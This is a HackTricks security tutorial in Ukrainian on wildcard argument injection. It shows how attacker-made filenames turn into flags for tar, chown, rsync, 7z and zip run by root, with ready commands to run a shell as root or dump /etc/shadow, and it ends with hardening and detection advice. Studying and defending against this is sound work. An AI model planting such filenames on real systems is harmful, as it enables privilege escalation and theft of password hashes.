Wildcards Spare Tricks
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Wildcard (також відомий як glob) ін'єкція аргументів відбувається, коли привілейований скрипт виконує Unix-бінарний файл, такий як
tar
,chown
,rsync
,zip
,7z
, … з неквотованим шаблоном, таким як*
. Оскільки оболонка розширює шаблон перед виконанням бінарного файлу, зловмисник, який може створювати файли в робочому каталозі, може створити імена файлів, які починаються з-
, щоб вони інтерпретувалися як опції замість даних, ефективно контрабандуючи довільні прапори або навіть команди. Ця сторінка збирає найкорисніші примітиви, нещодавні дослідження та сучасні виявлення на 2023-2025 роки.
chown / chmod
Ви можете скопіювати власника/групу або біти дозволів довільного файлу, зловживаючи прапором --reference
:
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
Коли root пізніше виконує щось на зразок:
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file
інжектується, що призводить до того, що всі відповідні файли успадковують власність/дозволи від /root/secret``file
.
PoC & tool: wildpwn
(комбінована атака).
Дивіться також класичну статтю DefenseCode для деталей.
tar
GNU tar (Linux, *BSD, busybox-full)
Виконуйте довільні команди, зловживаючи функцією checkpoint:
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Якщо root виконує, наприклад, tar -czf /root/backup.tgz *
, shell.sh
виконується від імені root.
bsdtar / macOS 14+
За замовчуванням tar
на останніх версіях macOS (на базі libarchive
) не реалізує --checkpoint
, але ви все ще можете досягти виконання коду за допомогою прапора --use-compress-program, який дозволяє вам вказати зовнішній компресор.
# macOS example
touch "--use-compress-program=/bin/sh"
Коли привілейований скрипт виконує tar -cf backup.tar *
, /bin/sh
буде запущено.
rsync
rsync
дозволяє вам переоприділити віддалену оболонку або навіть віддалений двійковий файл за допомогою параметрів командного рядка, які починаються з -e
або --rsync-path
:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
Якщо root пізніше архівує каталог за допомогою rsync -az * backup:/srv/
, інжектований прапор запускає вашу оболонку на віддаленій стороні.
PoC: wildpwn
(rsync
режим).
7-Zip / 7z / 7za
Навіть коли привілейований скрипт обережно додає до шаблону символи --
(щоб зупинити парсинг опцій), формат 7-Zip підтримує файли списків файлів, додаючи до імені файлу @
. Поєднання цього з символічним посиланням дозволяє вам екстрагувати довільні файли:
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
Якщо root виконує щось на зразок:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip спробує прочитати root.txt
(→ /etc/shadow
) як список файлів і вийде, друкуючи вміст у stderr.
zip
zip
підтримує прапорець --unzip-command
, який передається дослівно до системної оболонки, коли архів буде перевірено:
zip result.zip files -T --unzip-command "sh -c id"
Впровадьте прапор через спеціально підготовлену назву файлу та чекайте, поки привілейований скрипт резервного копіювання викличе zip -T
(тест архіву) на отриманому файлі.
Додаткові двійкові файли, вразливі до ін'єкції диких символів (швидкий список 2023-2025)
Наступні команди були зловживані в сучасних CTF та реальних середовищах. Пейлоад завжди створюється як назва файлу всередині записуваного каталогу, який пізніше буде оброблений з диким символом:
Binary | Flag to abuse | Effect |
---|---|---|
bsdtar | --newer-mtime=@<epoch> → довільний @file | Читати вміст файлу |
flock | -c <cmd> | Виконати команду |
git | -c core.sshCommand=<cmd> | Виконання команди через git по SSH |
scp | -S <cmd> | Запустити довільну програму замість ssh |
Ці примітиви менш поширені, ніж класичні tar/rsync/zip, але їх варто перевірити під час полювання.
Виявлення та зміцнення
- Вимкніть оболонкове розширення в критичних скриптах:
set -f
(set -o noglob
) запобігає розширенню диких символів. - Цитуйте або екрануйте аргументи:
tar -czf "$dst" -- *
небезпечно — надавайте перевагуfind . -type f -print0 | xargs -0 tar -czf "$dst"
. - Явні шляхи: Використовуйте
/var/www/html/*.log
замість*
, щоб зловмисники не могли створити сусідні файли, які починаються з-
. - Найменші привілеї: Запускайте резервні/обслуговуючі завдання як обліковий запис служби без привілеїв замість root, коли це можливо.
- Моніторинг: Попередньо створене правило Elastic Potential Shell via Wildcard Injection шукає
tar --checkpoint=*
,rsync -e*
абоzip --unzip-command
, за яким негайно слідує дочірній процес оболонки. Запит EQL можна адаптувати для інших EDR.
Посилання
- Elastic Security – Правило виявлення потенційної оболонки через ін'єкцію диких символів (остання оновлення 2025)
- Rutger Flohil – “macOS — Ін'єкція диких символів tar” (18 грудня 2024)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.